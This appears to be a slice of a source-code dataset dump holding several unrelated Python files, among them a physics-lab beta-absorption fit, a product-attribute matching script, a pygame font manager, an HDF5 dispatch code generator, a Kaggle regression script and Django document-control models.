else:\r\n print('error: unknown game state',gs)\r\n break\r\n","sub_path":"spelunkybot.py","file_name":"spelunkybot.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"537142910","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom astropy.io import ascii\nfrom scipy.optimize import curve_fit\nimport uncertainties.unumpy as unp\nfrom uncertainties import ufloat\nfrom uncertainties.unumpy import (nominal_values as noms, std_devs as stds)\n\nplt.rcParams['figure.figsize'] = (10, 8)\nplt.rcParams['font.size'] = 16\nplt.rcParams['lines.linewidth'] = 0.5\n\ndicke, fdicke, t, zählrate = np.genfromtxt('Rohdaten/beta.txt', unpack=True)\n\nEW = 293 # Maximale Energie des Betastrahlers\nroh = 2.70 # Dichte des verwendeten Materials in g/cm^3\nfA = np.sqrt(zählrate)/t\nA = zählrate/t\nZ1 = fA\nZ2 = A\nhier = 5 # Ende der ersten Regression\nhier1 = 6 # Beginn der zweiten Regression\nhier2 = 9 # Ende der zweiten Regression\nNull = ufloat(366/1000, np.sqrt(366)/1000) # Nulleffekt (Aktivität)\nprint(' Nullaktivität :', Null, ' Bq')\nAA = unp.uarray(A, fA)\nAA = AA - Null\nA = noms(AA)\nfA = stds(AA)\n# print(AA)\n\n\n# Regression\ndef reg(x, a, b):\n return a * x + b\n\ndicke1 = dicke[1:hier]\nfdicke1 = fdicke[1:hier]\nA1 = np.log(A[1:hier])\nfA1 = np.log(fA[1:hier])\ndicke2 = dicke[hier1:hier2]\nfdicke2 = fdicke[hier1:hier2]\nA2 = np.log(A[hier1:hier2])\nfA2 = np.log(A[hier1:hier2])\n\nparams1, covariance1 = curve_fit(reg, dicke1, A1, sigma=fA1)\n# covariance is the covariance matrix\n\nerrors1 = np.sqrt(np.diag(covariance1))\nprint(' Parameter für die erste Linie: ')\nprint(' a1 =', params1[0], '±', errors1[0])\nprint(' b1 =', params1[1], '±', errors1[1])\na1 = ufloat(params1[0], errors1[0])\nb1 = ufloat(params1[1], errors1[1])\n\nparams2, covariance2 = curve_fit(reg, dicke2, A2, sigma=fA2)\n# covariance is the covariance matrix\n\nerrors2 = np.sqrt(np.diag(covariance2))\nprint(' Parameter für die zweite Linie: ')\nprint(' a1 =', params2[0], '±', errors2[0])\nprint(' b1 =', params2[1], '±', errors2[1])\na2 = ufloat(params2[0], errors2[0])\nb2 = ufloat(params2[1], errors2[1])\n\nD = (b2 - b1) / (a1 - a2)\nR = roh * D *10**-4\nE = 1.92 * unp.sqrt(R**2+0.22*R)\nprint(' Schnittpunkt der beiden Geraden: ', D)\nprint(' Dies ergibt ein R_max von: ', R)\nprint(' Somit ist die maximale Energie: ', E)\n\nx_plot1 = np.linspace(100, 290)\nx_plot2 = np.linspace(200, 450)\nplt.errorbar(dicke, A, yerr=fA, xerr=fdicke, fmt='x',color='b', label='Messwerte')\nplt.plot(x_plot1, np.e**reg(x_plot1, *params1), 'k-', label='Regression1')\nplt.plot(x_plot2, np.e**reg(x_plot2, *params2), 'r-', label='Regression2')\nplt.legend(loc='best')\nplt.ylabel(r'$A\\ / \\ \\frac{1}{\\mathrm{s}}$')\nplt.xlabel(r'$d\\ / \\ \\mathrm{\\mu m}$')\n# plt.xlim(9, 1e2)\n# plt.ylim(1e1, 1e4)\nplt.yscale('log')\nplt.grid()\nplt.tight_layout()\nplt.savefig('build/Alu.pdf')\n\n\nascii.write([dicke, fdicke, zählrate, np.round(np.sqrt(zählrate), 0), t, np.round(Z1, 2), np.round(Z2, 2), np.round(A, 2), np.round(fA, 2)], 'build/beta.tex', format='latex')\nprint(' relativer Fehler der maximalen Energie :', (E*(-100)/EW - 1)*100, ' %')\n","sub_path":"v704/Beta.py","file_name":"Beta.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"99015564","text":"# -*- coding: utf-8 -*-\n#COMECE AQUI ABAIXO\ni = 1\natual = 0\ntotal = 0\nanterior = -10\nnp = int(input('Informe o número de pessoas: '))\nwhile i<=np:\n anterior = atual\n atual = int(input('Instante: '))\n if anterior<(atual-10):\n total = total + 10\n print ('entrou')\n i += 1\n \nprint (total)\n\n\n\n","sub_path":"moodledata/vpl_data/380/usersdata/308/71471/submittedfiles/testes.py","file_name":"testes.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"76600781","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 16 16:39:52 2019\n\n@author: xcxg109\n\"\"\"\n\nimport pandas as pd\nfrom gamut_query_15 import GamutQuery_15\nfrom grainger_query import GraingerQuery\nfrom queries_PIM import gamut_basic_query, grainger_attr_query, gamut_attr_query\nimport attribute_data_pull as pull\nimport file_data_att as fd\nimport settings\n\npd.options.mode.chained_assignment = None\n\ngcom = GraingerQuery()\ngamut = GamutQuery_15()\n \n\ndef gamut_skus(grainger_skus):\n \"\"\"get basic list of gamut SKUs to pull the related PIM nodes\"\"\"\n sku_list = grainger_skus['Grainger_SKU'].tolist()\n gamut_skus = \", \".join(\"'\" + str(i) + \"'\" for i in sku_list)\n gamut_sku_list = gamut.gamut_q15(gamut_basic_query, 'tprod.\"supplierSku\"', gamut_skus)\n \n return gamut_sku_list\n\n\ndef gamut_atts(node):\n \"\"\"pull gamut attributes based on the PIM node list created by gamut_skus\"\"\"\n df = pd.DataFrame()\n #pull attributes for the next pim node in the gamut list\n df = gamut.gamut_q15(gamut_attr_query, 'tprod.\"categoryId\"', node)\n print('Gamut ', node)\n\n return df\n\n\ndef grainger_values(grainger_df):\n \"\"\"find the top 5 most used values for each attribute and return as sample_values\"\"\"\n top_vals = pd.DataFrame()\n temp_att = pd.DataFrame()\n \n grainger_df['Count'] =1\n atts = grainger_df['Grainger_Attribute_Name'].unique()\n \n vals = pd.DataFrame(grainger_df.groupby(['Grainger_Attribute_Name', 'Grainger_Attribute_Value'])['Count'].sum())\n vals = vals.reset_index()\n\n for attribute in atts:\n temp_att = vals.loc[vals['Grainger_Attribute_Name']== attribute]\n temp_att = temp_att.sort_values(by=['Count'], ascending=[False]).head(5)\n top_vals = pd.concat([top_vals, temp_att], axis=0)\n \n top_vals = top_vals.groupby('Grainger_Attribute_Name')['Grainger_Attribute_Value'].apply('; '.join).reset_index()\n \n vals = vals.drop(['Count'], axis=1)\n vals = vals.groupby('Grainger_Attribute_Name')['Grainger_Attribute_Value'].apply('; '.join).reset_index()\n \n return vals, top_vals\n\n\ndef gamut_values(gamut_df):\n \"\"\"find the top 5 most used values for each attribute and return as sample_values\"\"\"\n top_vals = pd.DataFrame()\n temp_att = pd.DataFrame()\n \n gamut_df['Count'] = 1\n atts = gamut_df['Gamut_Attribute_Name'].unique()\n \n vals = pd.DataFrame(gamut_df.groupby(['Gamut_Attribute_Name', 'Normalized Value'])['Count'].sum())\n vals = vals.reset_index()\n \n for attribute in atts:\n temp_att = vals.loc[vals['Gamut_Attribute_Name']== attribute]\n temp_att = temp_att.sort_values(by=['Count'], ascending=[False]).head(5)\n top_vals = pd.concat([top_vals, temp_att], axis=0)\n \n top_vals = top_vals.groupby('Gamut_Attribute_Name')['Normalized Value'].apply('; '.join).reset_index()\n \n vals = vals.drop(['Count'], axis=1)\n vals = vals.groupby('Gamut_Attribute_Name')['Normalized Value'].apply('; '.join).reset_index()\n \n return vals, top_vals\n\n\ndef match_category(df):\n \"\"\"compare data colected from matching file (match_df) with grainger and gamut data pulls and create a column to tell analysts\n whether attributes from the two systems have been matched\"\"\"\n\n for row in df.itertuples():\n if (row.Index, row.Grainger_Attribute_Name) == (row.Index, row.Gamut_Attribute_Name):\n df.at[row.Index,'Matching'] = 'Match'\n elif isBlank(row.Grainger_Attribute_Name) == False:\n if isBlank(row.Gamut_Attribute_Name) == True:\n df.at[row.Index,'Matching'] = 'Grainger only'\n elif isBlank(row.Grainger_Attribute_Name) == True:\n if isBlank(row.Gamut_Attribute_Name) == False:\n df.at[row.Index,'Matching'] = 'Gamut only'\n \n return df\n\n\ndef grainger_process(grainger_df, grainger_sample, grainger_all, k):\n \"\"\"create a list of grainger skus, run through through the gamut_skus query and pull gamut attribute data if skus are present\n concat both dataframs and join them on matching attribute names\"\"\"\n df = pd.DataFrame()\n gamut_sample_vals = pd.DataFrame()\n gamut_att_vals = pd.DataFrame()\n \n grainger_skus = grainger_df.drop_duplicates(subset='Grainger_SKU') #create list of unique grainger skus that feed into gamut query\n \n grainger_df = grainger_df.drop_duplicates(subset=['Category_ID', 'Grainger_Attr_ID']) #group by Category_ID and attribute name and keep unique\n grainger_df['Grainger Blue Path'] = grainger_df['Segment_Name'] + ' > ' + grainger_df['Family_Name'] + \\\n ' > ' + grainger_df['Category_Name']\n grainger_df = grainger_df.drop(['Grainger_SKU', 'Grainger_Attribute_Value'], axis=1) #remove unneeded columns\n grainger_df = pd.merge(grainger_df, grainger_sample, on=['Grainger_Attribute_Name'])\n grainger_df = pd.merge(grainger_df, grainger_all, on=['Grainger_Attribute_Name'])\n \n grainger_df['Grainger_Attribute_Name'] = pull.process_att(grainger_df['Grainger_Attribute_Name']) #prep att name for merge\n \n gamut_sku_list = gamut_skus(grainger_skus) #get gamut sku list to determine pim nodes to pull\n\n if gamut_sku_list.empty == False:\n #create a dictionary of the unique gamut nodes that corresponde to the grainger node\n gamut_l3 = gamut_sku_list['Gamut_Node_ID'].unique() #create list of pim nodes to pull\n for node in gamut_l3:\n gamut_df = gamut_atts(node) #get gamut attribute values for each gamut_l3 node\n gamut_att_vals, gamut_sample_vals = gamut_values(gamut_df) #gamut_values exports a list of --all-- normalized values (temp_df) and sample_values\n# temp_df, gamut_sample_vals = gamut_values(gamut_df, grainger_df) #gamut_values exports a list of --all-- normalized values (temp_df) and sample_values\n# gamut_att_temp = pd.concat([gamut_att_temp, temp_df], axis=0, sort=False) #create list of gamut attribute values for all nodes\n gamut_sample_vals = gamut_sample_vals.rename(columns={'Normalized Value': 'Gamut Attribute Sample Values'})\n gamut_att_vals = gamut_att_vals.rename(columns={'Normalized Value': 'Gamut ALL Values'})\n gamut_df = gamut_df.drop_duplicates(subset='Gamut_Attr_ID') #gamut attribute IDs are unique, so no need to group by pim node before getting unique\n gamut_df = gamut_df.drop(['Gamut_SKU', 'Grainger_SKU', 'Original Value', 'Normalized Value'], axis=1) #normalized values are collected as sample_value\n grainger_df['Gamut_Node_ID'] = int(node) #add correlating gamut node to grainger_df\n gamut_df = pd.merge(gamut_df, gamut_sample_vals, on=['Gamut_Attribute_Name']) #add t0p 5 normalized values to report\n gamut_df = pd.merge(gamut_df, gamut_att_vals, on=['Gamut_Attribute_Name']) #add t0p 5 normalized values to report\n gamut_df['Category_ID'] = int(k) #add grainger Category_ID column for gamut attributes\n gamut_df['Gamut_Attribute_Name'] = pull.process_att(gamut_df['Gamut_Attribute_Name']) #prep att name for merge\n #create df based on names that match exactly\n temp_df = pd.merge(grainger_df, gamut_df, left_on=['Grainger_Attribute_Name', 'Category_ID', 'Gamut_Node_ID'], \n right_on=['Gamut_Attribute_Name', 'Category_ID', 'Gamut_Node_ID'], how='outer')\n temp_df = match_category(temp_df) #compare grainger and gamut atts and create column to say whether they match\n df = pd.concat([df, temp_df], axis=0) #add prepped df for this gamut node to the final df\n\n return df #where gamut_att_temp is the list of all normalized values for gamut attributes\n \n\ndef isBlank (myString):\n return (myString and pd.isnull(myString))\n\n\n#determine SKU or node search\nsearch_level = 'cat.CATEGORY_ID'\ndata_type = fd.search_type()\n\ngamut_df = pd.DataFrame()\ngrainger_df = pd.DataFrame()\n\nattribute_df = pd.DataFrame()\ngrainger_att_vals = pd.DataFrame()\ngrainger_sample_vals = pd.DataFrame()\ngamut_att_vals = pd.DataFrame\n\ngamut_l3 = dict()\n\n\nif data_type == 'node':\n search_level = fd.blue_search_level()\n \nsearch_data = fd.data_in(data_type, settings.directory_name)\n\nif data_type == 'node':\n for k in search_data:\n grainger_df = gcom.grainger_q(grainger_attr_query, search_level, k)\n if grainger_df.empty == False:\n grainger_att_vals, grainger_sample_vals = grainger_values(grainger_df)\n grainger_sample_vals = grainger_sample_vals.rename(columns={'Grainger_Attribute_Value': 'Grainger Attribute Sample Values'})\n grainger_att_vals = grainger_att_vals.rename(columns={'Grainger_Attribute_Value': 'Grainger ALL Values'})\n temp_df = grainger_process(grainger_df, grainger_sample_vals, grainger_att_vals, k)\n attribute_df = pd.concat([attribute_df, temp_df], axis=0, sort=False)\n else:\n print('No attribute data')\n attribute_df['Grainger-Gamut Terminal Node Mapping'] = attribute_df['Category_Name']+' -- '+attribute_df['Gamut_Node_Name']\n attribute_df = attribute_df.drop(['Count_x', 'Count_y'], axis=1)\n print ('Grainger ', k)\n\nattribute_df['Identified Matching Gamut Attribute Name (use semi-colon to separate names)'] = \"\"\nattribute_df['Identified Matching Grainger Attribute Name (use semi-colon to separate names)'] = \"\"\nattribute_df['Analyst Notes'] = \"\"\nattribute_df['Taxonomist Approved (yes/no)'] = \"\"\nattribute_df['Taxonomist Notes'] = \"\"\n\n#test = pull.determine_match(attribute_df, grainger_att_vals, gamut_att_vals)\n\nfd.attribute_match_data_out(settings.directory_name, attribute_df, search_level)\n\n#test.to_csv('F:\\CGabriel\\Grainger_Shorties\\OUTPUT\\test.csv')","sub_path":"z. old/1. Joint ATTRIBUTES.py","file_name":"1. Joint ATTRIBUTES.py","file_ext":"py","file_size_in_byte":9770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"520424314","text":"import pygame\n \nclass FontManager:\n\n fonts = {}\n messages = {}\n\n \"\"\"\n message = {\n 'font' : 'dinconra.ttf', \n 'size' : 35, \n 'color' : (77, 77, 77), \n 'topleft' : [650, 405], \n 'text' : 'play'\n 'key' : 'play'\n 'rect' : [assigned after each drawing]\n }\n \"\"\"\n\n ANTI_ALIAS = 1\n\n def __init__(self):\n pass\n\n # Expects tuples to be passed in. i.e.: ('arial', 18)\n def add_font(self, font):\n typeface = font[0]\n size = font[1]\n self.fonts[font] = pygame.font.Font(typeface, size)\n\n def add_messages(self, messages):\n for message in messages:\n message['rect'] = None\n self.messages[message['key']] = message \n self.add_font((message['font'], message['size']))\n\n def draw_single_message(self, surface, message):\n font = self.fonts[(message['font'], message['size'])]\n font_surface = font.render(message['text'], self.ANTI_ALIAS, message['color'])\n\n # set rect for later collision detection\n message['rect'] = font_surface.get_rect()\n message['rect'].x = message['topleft'][0]\n message['rect'].y = message['topleft'][1]\n\n surface.blit(font_surface, message['topleft'])\n\n def draw(self, surface):\n for key in self.messages:\n message = self.messages[key]\n self.draw_single_message(surface, message)","sub_path":"lib/services/font_manager.py","file_name":"font_manager.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"115829826","text":"#--------------------------------------------------------------------------\n# File and Version Information:\n# $Id$\n#\n# Description:\n# Module DdlPds2Psana...\n#\n#------------------------------------------------------------------------\n\n\"\"\"Backend for psddlc which generates type-dispatch function for HDF5 I/O.\n\nBackend-specific options:\n\n gen-incdir - specifies directory name for generated header files, default is empty \n top-package - specifies top-level namespace for the generated code, default is no top-level namespace\n psana-ns - specifies top-level namespace for Psana interfaces\n\nThis software was developed for the LCLS project. If you use all or \npart of it, please give an appropriate acknowledgment.\n\n@version $Id$\n\n@author Andrei Salnikov\n\"\"\"\nfrom __future__ import print_function\n\n\n#------------------------------\n# Module's version from CVS --\n#------------------------------\n__version__ = \"$Revision$\"\n# $Source$\n\n#--------------------------------\n# Imports of standard modules --\n#--------------------------------\nimport sys\nimport os\nimport types\n\n#---------------------------------\n# Imports of base class module --\n#---------------------------------\n\n#-----------------------------\n# Imports for other modules --\n#-----------------------------\nfrom psddl.JinjaEnvironment import getJinjaEnvironment\nfrom psddl.H5Type import H5Type\nfrom psddl.Package import Package\nfrom psddl.Type import Type\nfrom psddl.Template import Template as T\nfrom psddl.TemplateLoader import TemplateLoader\n\n#----------------------------------\n# Local non-exported definitions --\n#----------------------------------\n\n# Set of aliases, when the alias name (key) is encountered\n# in a file then the actual type used for that is value.\n# More than one actual type is possible.\n_aliases = {\n 'Bld::BldDataIpimb': ['Bld::BldDataIpimbV0'],\n 'Bld::BldDataEBeam': ['Bld::BldDataEBeamV1'],\n 'PNCCD::FrameV1' : ['PNCCD::FullFrameV1', 'PNCCD::FramesV1'],\n 'CsPad::ElementV1' : ['CsPad::DataV1'],\n 'CsPad::ElementV2' : ['CsPad::DataV2'],\n 'Acqiris::AcqirisTdcConfigV1' : ['Acqiris::TdcConfigV1'],\n }\n\n# Extra headers needed for special proxy classes of similar stuff\n_extra_headers = [\n ]\n\n\n# ========================================================\n# == code templates, usually do not need to touch these ==\n# ========================================================\n\n# jinja environment\n_jenv = getJinjaEnvironment()\n\ndef _TEMPL(template):\n return _jenv.get_template('hdf5.tmpl?'+template)\n\nclass _DJB2a(object):\n \n def hash(self, string):\n hash = 5381\n for ch in string:\n hash = ((hash*33) & 0xffffffff) ^ ord(ch)\n return hash\n\n def code(self):\n\n return \"\"\"\nnamespace {\n uint32_t str_hash(const std::string& str)\n {\n uint32_t hash = 5381;\n for (std::string::const_iterator it = str.begin(); it != str.end(); ++it) {\n hash = ((hash << 5) + hash) ^ uint32_t(*it); /* hash * 33 + c */\n }\n return hash;\n }\n}\"\"\"\n\nclass _sdbm(object):\n \n def hash(self, string):\n hash = 0\n for ch in string:\n hash = ord(ch) + (hash << 6) + (hash << 16) - hash\n hash = (2^32 + hash) % 2^32\n return hash\n\n def code(self):\n\n return \"\"\"\nnamespace {\n uint32_t str_hash(const std::string& str)\n {\n uint32_t hash = 0;\n for (std::string::const_iterator it = str.begin(); it != str.end(); ++it) {\n hash = uint32_t(c) + (hash << 6) + (hash << 16) - hash;\n }\n return hash;\n }\n}\"\"\"\n\n#------------------------\n# Exported definitions --\n#------------------------\n\n#---------------------\n# Class definition --\n#---------------------\nclass DdlHdf5DataDispatch ( object ) :\n\n @staticmethod\n def backendOptions():\n \"\"\" Returns the list of options supported by this backend, returned value is \n either None or a list of triplets (name, type, description)\"\"\"\n return [\n ('psana-ns', 'STRING', \"namespace for Psana types, default: Psana\"),\n ]\n\n #----------------\n # Constructor --\n #----------------\n def __init__ ( self, backend_options, log ) :\n '''Constructor\n \n @param backend_options dictionary of options passed to backend\n @param log message logger instance\n '''\n self.incname = backend_options['global:header']\n self.cppname = backend_options['global:source']\n self.incdirname = backend_options.get('global:gen-incdir', \"\")\n self.top_pkg = backend_options.get('global:top-package')\n \n self.psana_ns = backend_options.get('psana-ns', \"Psana\")\n\n self._log = log\n\n #include guard\n g = os.path.split(self.incname)[1]\n if self.top_pkg: g = self.top_pkg + '_' + g\n self.guard = g.replace('.', '_').upper()\n\n #-------------------\n # Public methods --\n #-------------------\n\n def parseTree ( self, model ) :\n \n # open output files\n self.inc = file(self.incname, 'w')\n self.cpp = file(self.cppname, 'w')\n\n # loop over packages in the model\n types = []\n for ns in model.namespaces() :\n if isinstance(ns, Package) :\n if not ns.included :\n types += self._parsePackage(ns)\n elif isinstance(ns, Type) :\n if not ns.external:\n types.append(ns)\n\n typenames = [type.fullName('C++') for type in types] + list(_aliases.keys())\n\n # select hash function with minimum collisions\n hash = _DJB2a()\n hashes = set([hash.hash(name) for name in typenames])\n if len(hashes) == len(typenames):\n self._log.debug(\"DJB2a without collisions\")\n else:\n djb_coll = len(typenames) - len(hashes)\n hash2 = _sdbm()\n hashes = set([hash.hash(name) for name in typenames])\n if len(hashes) == len(typenames):\n self._log.debug(\"SDBM without collisions\")\n hash = hash2\n else:\n sdbm_coll = len(typenames) - len(hashes)\n if sdbm_coll < djb_coll: hash = hash2\n\n\n # generate code for all collected types\n codes, headers = self._codegen(types)\n\n # add own header to the list\n headers = [os.path.join(self.incdirname, os.path.basename(self.incname))] + list(headers) + _extra_headers\n\n hashes = {}\n for type, code in codes.items():\n name = type.fullName('C++')\n hh = hash.hash(name)\n hashes.setdefault(hh, []).append(dict(name=name, code=code))\n\n for alias, typeNames in _aliases.items():\n acodes = []\n for typeName in typeNames:\n acodes += [code for type, code in codes.items() if type.fullName('C++') == typeName]\n if acodes:\n hh = hash.hash(alias)\n hashes.setdefault(hh, []).append(dict(name=alias, code='\\n'.join(acodes)))\n\n\n inc_guard = self.guard\n namespace = self.top_pkg\n print(_TEMPL('dispatch_header_file').render(locals()), file=self.inc)\n print(_TEMPL('dispatch_impl_file').render(locals()), file=self.cpp)\n \n # close all files\n self.inc.close()\n self.cpp.close()\n\n\n def _parsePackage(self, pkg):\n\n # loop over packages and types\n types = []\n for ns in pkg.namespaces() :\n \n if isinstance(ns, Package) :\n \n types += self._parsePackage(ns)\n \n elif isinstance(ns, Type) :\n \n types.append(ns)\n \n return types\n\n\n def _codegen(self, types):\n \n codes = {}\n headers = set()\n \n for type in types:\n\n if not type.h5schemas:\n type.h5schemas = [H5Type.defaultSchema(type)]\n\n # if all schemas have embedded tag stop here\n if all('embedded' in schema.tags for schema in type.h5schemas): continue\n \n code, header = self._typecode(type)\n headers.add(header)\n codes[type] = code\n\n return codes, headers\n\n\n def _typecode(self, type):\n\n header = os.path.basename(type.location)\n header = os.path.splitext(header)[0]\n if not header.endswith('.ddl'): header += '.ddl'\n header = header + '.h'\n header = os.path.join(self.incdirname, header)\n \n psana_type = type.fullName('C++', self.psana_ns)\n namespace = type.parent.fullName('C++', self.top_pkg)\n\n code = \"\"\n if 'config-type' in type.tags:\n # config types\n code = _TEMPL('dispatch_config_store').render(locals())\n else:\n # non-config types\n if not type.xtcConfig:\n code = _TEMPL('dispatch_event_store').render(locals())\n else:\n config_types = [t.fullName('C++', self.psana_ns) for t in type.xtcConfig]\n code = _TEMPL('dispatch_event_store_cfg').render(locals())\n\n return code, header\n \n#\n# In case someone decides to run this module\n#\nif __name__ == \"__main__\" :\n\n # In principle we can try to run test suite for this module,\n # have to think about it later. Right now just abort.\n sys.exit ( \"Module is not supposed to be run as main module\" )\n","sub_path":"src/DdlHdf5DataDispatch.py","file_name":"DdlHdf5DataDispatch.py","file_ext":"py","file_size_in_byte":9435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"300046323","text":"import kagglegym\r\nimport numpy as np\r\nfrom sklearn import linear_model as lm\r\nfrom sklearn.metrics import r2_score\r\nimport pandas as pd\r\npd.set_option('chained_assignment',None)\r\n\r\nlow_y_cut = -0.086093\r\nhigh_y_cut = 0.093497\r\n\r\n\r\nenv = kagglegym.make()\r\nobservation = env.reset()\r\ntrain = observation.train\r\ny_is_above_cut = (train.y > high_y_cut)\r\ny_is_below_cut = (train.y < low_y_cut)\r\ny_is_within_cut = (~y_is_above_cut & ~y_is_below_cut)\r\ntrain = train.loc[y_is_within_cut,:]\r\ntrain = train[[\"id\", \"y\", \"timestamp\",\"technical_20\",\"technical_13\",\"technical_30\"]]\r\n\r\ntrain[\"technical_20_shifted\"] = train.groupby('id')[\"technical_20\"].shift(1)\r\ntrain[\"technical_13_shifted\"] = train.groupby('id')[\"technical_13\"].shift(1)\r\ntrain[\"technical_30_shifted\"] = train.groupby('id')[\"technical_30\"].shift(1)\r\ntrain[\"y_shifted\"] = train.groupby('id')[\"y\"].shift(1)\r\ntrain['derived_feat'] = ( (train[\"technical_20\"] + train[\"technical_13\"] - train[\"technical_30\"]) \\\r\n -0.9327 * (train[\"technical_20_shifted\"] + train[\"technical_13_shifted\"] - train[\"technical_30_shifted\"]) \\\r\n )/(1 - 0.9327)\r\n\r\nfor col in train.columns:\r\n train.loc[(np.isfinite(train[col]) == 0),:] = 0\r\n\r\nfit_lr_bound = np.min(train['timestamp']) + 50\r\nmodel = lm.LinearRegression()\r\n\r\ntrain_fit = train[train['timestamp'] 0 ):\r\n actions = model.predict(features['derived_feat'].reshape(len(features),1)).clip(low_y_cut,high_y_cut)\r\n observation.target.y = convert(actions,features[['id']].as_matrix())\r\n\r\n if (reward != 1e6 and len(actions) != 0 and residual != 1e6):\r\n if (len(prev_feats_derived_feat) != 0):\r\n features = features.merge(prev_feats_derived_feat[['id','derived_feat']],on='id',suffixes=('','_shifted'))\r\n features.dropna()\r\n model.coef_[0] = update_lr_coeff(residual,features['preds'],features['derived_feat'],features['derived_feat_shifted'],model.coef_[0])\r\n\r\n\r\n else:\r\n prev_feats = features_copy\r\n prev_feats[\"preds\"] = np.zeros(len(prev_feats))\r\n prev_feats_derived_feat = prev_feats.merge(derived_features_copy,on='id',suffixes=('','_shifted'))\r\n observation.target.y = np.zeros(len(observation.target.id))\r\n target = observation.target\r\n observation, reward, done, info\\\r\n = env.step(target)\r\n continue\r\n\r\n if len(observation.features < 0):\r\n timestamp = observation.features[\"timestamp\"][0]\r\n if timestamp % 100 == 0:\r\n print(\"Timestamp #{}\".format(timestamp))\r\n\r\n prev_feats = features_copy\r\n prev_feats['preds'] = observation.target.y\r\n prev_feats_derived_feat = prev_feats.merge(derived_features_copy,on='id',suffixes=('','_shifted'))\r\n observation, reward, done, info = env.step(observation.target)\r\n\r\nprint(info)","sub_path":"online.py","file_name":"online.py","file_ext":"py","file_size_in_byte":8519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331121772","text":"# coding: utf-8\n# app: docs\n# module: models\n# date: miércoles, 06 de junio de 2018 - 09:08\n# description: control de documentos y registros\n# pylint: disable=W0613,R0201,R0903\n\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.template.defaultfilters import slugify\n\n\nclass Tipo (models.Model):\n tipo = models.CharField(max_length=50)\n slug = models.CharField(max_length=50)\n\n def __str__(self):\n return f'Tipo: {self.tipo}'\n\n\nclass Proceso (models.Model):\n proceso = models.CharField(max_length=80)\n slug = models.CharField(max_length=80)\n\n def __str__(self):\n if self.slug == 'sgc':\n return 'Documentos del Sistema'\n elif self.slug == 'stn':\n return 'Opiniones Técnicas de la STN'\n elif self.slug == 'coc':\n return 'Oficios de la COC'\n elif self.slug == 'lmd':\n return 'Lista Maestra de Documentos'\n else:\n return f'Proceso {self.proceso}'\n\n\nclass Documento (models.Model):\n \"\"\"Definición del Documento:\n - nombre: El nombre del documento\n - slug: Un nombre corto para identificar el documento\n - ruta: Un campo URL, útil para documentos externos (opcional)\n - activo: Campo lógico, True por default\n - proceso: Contenedor para indicar el proceso al que pertenece\n - tipo: Contenedor para indicar el tipo de documento\"\"\"\n # Identificación\n nombre = models.CharField(max_length=120)\n slug = models.SlugField(max_length=120)\n\n # Ruta\n ruta = models.URLField(blank=True, null=True)\n\n # Orden\n proceso = models.ForeignKey(Proceso, on_delete=models.CASCADE)\n tipo = models.ForeignKey(Tipo, on_delete=models.CASCADE)\n\n # Búsqueda\n aprobado = models.BooleanField(\"Documento en aprobación\", default=False)\n activo = models.BooleanField(default=True)\n texto_ayuda = models.TextField(blank=True)\n\n # Trazabilidad\n autor = models.ForeignKey(User, related_name='docs', editable=False, on_delete=models.CASCADE)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n class Meta:\n ordering = ['tipo', 'id']\n\n def ext(self):\n return self.revision_actual().archivo.name.split('.')[-1]\n\n def save(self, *args, **kwargs):\n self.slug = slugify(self.nombre)\n super(Documento, self).save(*args, **kwargs)\n\n def clave(self):\n \"\"\"Devuelve la clave del documento, que es única y se forma por\n el tipo de documento (tres letras) y la identificación del documento\"\"\"\n return \"%s-%02d\" % (self.tipo.slug, self.id)\n\n def __str__(self):\n return \"%s (%s-%02d)\" % (self.nombre, self.tipo.slug.upper(), self.id)\n\n def revision_actual(self):\n \"\"\"Devuelve la revisión del documento como un entero\"\"\"\n try:\n return self.revision_set.latest('revision')\n except IndexError:\n return \"\"\n\n def r_actual(self):\n \"\"\"Devuelve la revisión de un documento con ceros a la izquierda\"\"\"\n try:\n x = \"%02d\" % self.revision_set.order_by('-revision')[0].revision\n return x\n except IndexError:\n return \"\"\n\n def historial(self):\n return self.revision_set.order_by('-revision')[1:]\n\n def swf(self):\n return \"%s.swf\" % self.revision_set.latest('revision').archivo.url.split('.')[0]\n\n\n# Función para subir archivos\ndef subir_documento(instancia, archivo):\n import os.path\n ext = archivo.split('.')[-1]\n orig = 'docs'\n tipo = instancia.documento.tipo.slug\n doc = instancia.documento.slug\n rev = instancia.revision\n nombre = \"%s_%s-%02d_rev%02d.%s\" % (doc, tipo, instancia.documento.id, rev, ext)\n ruta = os.path.join(orig, tipo, nombre)\n return ruta\n\n\nclass Revision (models.Model):\n # Documento\n documento = models.ForeignKey(Documento, on_delete=models.CASCADE)\n\n # Revisión y actualización\n revision = models.IntegerField()\n f_actualizacion = models.DateField()\n\n # Archivos de la revisión\n archivo = models.FileField(upload_to=subir_documento, blank=True, null=True)\n\n # Identificación de cambios\n cambios = models.TextField()\n\n # Trazabilidad\n autor = models.ForeignKey(User, related_name='revisions_user', editable=False, on_delete=models.CASCADE)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return u\"%s rev %02d (%s)\" % (self.documento, self.revision, self.f_actualizacion)\n\n class Meta:\n unique_together = ((\"documento\", \"revision\"),)\n verbose_name = \"Revisión\"\n verbose_name_plural = \"Control Revisiones\"\n","sub_path":"src/apps/docs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238801713","text":"import os\n\np = '/media/Media/Video/Movies'\nfn = 'movie_list.txt'\nwith open(fn, 'w') as f:\n for dir_path, dir_names, 